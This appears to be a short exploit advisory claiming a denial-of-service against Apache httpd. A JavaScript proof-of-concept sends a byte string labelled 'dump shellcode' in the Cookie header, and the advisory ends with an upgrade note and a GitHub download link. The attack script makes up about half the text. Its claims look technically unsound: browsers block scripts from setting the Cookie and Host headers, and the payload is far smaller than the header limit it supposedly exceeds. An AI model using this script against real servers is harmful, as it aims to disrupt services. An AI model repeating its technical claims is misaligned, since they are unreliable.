1. Description

Sending a crafted http header request that contain a dump shellcode in Cookie PARAM will result in printing 400 Bad request and the dump code, apache will display a message (Size of a request header field exceeds server limit) and will take sometime to handle the request,
Sending multiple requests will results in denial of service.

2. Proof of Concept

//Our function that send http requests to the target host
function httpGet(target)
{

	var dumpShellCode = "0x30, 0x53, 0x76, 0x99, 0xbc, 0xd7, 0x2, 0x34," 
    + "0x39, 0x5e, 0x7b, 0xc8, 0xbd, 0xfa, 0xff, 0x5b,"
    + "0xa2, 0xe7, 0xa, 0x2d, 0x38, 0x51, 0x40, 0x62, "
    + "0xab, 0xd0, 0xf9, 0x6, 0x2f, 0x4c, 0x6d, 0x89, "
    + "0x14, 0x77, 0x5a, 0xbd, 0x68, 0x93, 0x6e, 0xd0,"
    + "0x1d, 0xd2, 0x5f, 0x6c, 0x59, 0x98, 0xf2, 0xd5,"
    + "0x68, 0x69, 0x50, 0x93, 0xa2, 0x7d, 0xbc, 0x1e,"
    + "0xf, 0x64, 0x3d, 0xaa, 0x8b, 0xe8, 0xc9, 0x25, "
    + "0x78, 0x1b, 0x3e, 0xe1, 0x84, 0x9f, 0x4a, 0x7c," 
    + "0x31, 0xf8, 0x1, 0xae, 0x57, 0x52, 0x77, 0x13, "
    + "0xea, 0x8d, 0x94, 0x17, 0x6e, 0xf9, 0x88, 0x2a,"
    + "0xe3, 0x88, 0xb1, 0x3e, 0x67, 0x4, 0x25, 0xc1, "
    + "0x5c, 0x3f, 0xe2, 0xc5, 0xb0, 0x75, 0x59, 0x36," 
    + "0xf7, 0xea, 0xd7, 0xe4, 0x91, 0x6e, 0x53, 0x2f," 
    + "0x4e, 0x11, 0xf8, 0xdb, 0xaa, 0x85, 0x84, 0x66,"
    + "0x47, 0x1c, 0xf5, 0xe2, 0xc3, 0xa0, 0x81, 0x7d," 
    + "0xa0, 0xe5, 0xc, 0x2f, 0x46, 0x47, 0x72, 0xa4, "
    + "0xa9, 0xce, 0xeb, 0x38, 0x2d, 0x6a, 0x6f, 0xcb,"
    + "0xb2, 0xd5, 0xfc, 0x1f, 0x36, 0x61, 0xd0, 0xf2," 
    + "0xbb, 0xe0, 0x49, 0x56, 0x3f, 0xf6, 0x14, 0x37," 
    + "0xe6, 0xe7, 0xca, 0x2d, 0x18, 0x83, 0x5e, 0xc0," 
    + "0xa5";
	
	//HTTP Request Var 
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open( "GET", "/", false ); // false for synchronous request
    
    //Now filling the headers information

    //Apache will respond in bad request with the Cookie infomation indicating that apache can't handle the request since its exceed header field limit
    xmlHttp.setRequestHeader("Cookie",dumpShellCode);
    xmlHttp.setRequestHeader("Connection","Keep-alive");
    xmlHttp.setRequestHeader("Host",target);

    //sending the request
    xmlHttp.send( null );
    return xmlHttp.responseText;
}

httpGet("127.0.0.1"); 

3. Solution:

Update to version 2.4.29
http://ftp.itu.edu.tr/Mirror/Apache//httpd/httpd-2.4.29.tar.bz2

4. Download POC:
https://github.com/JameelNabbo/apacheDOS-POC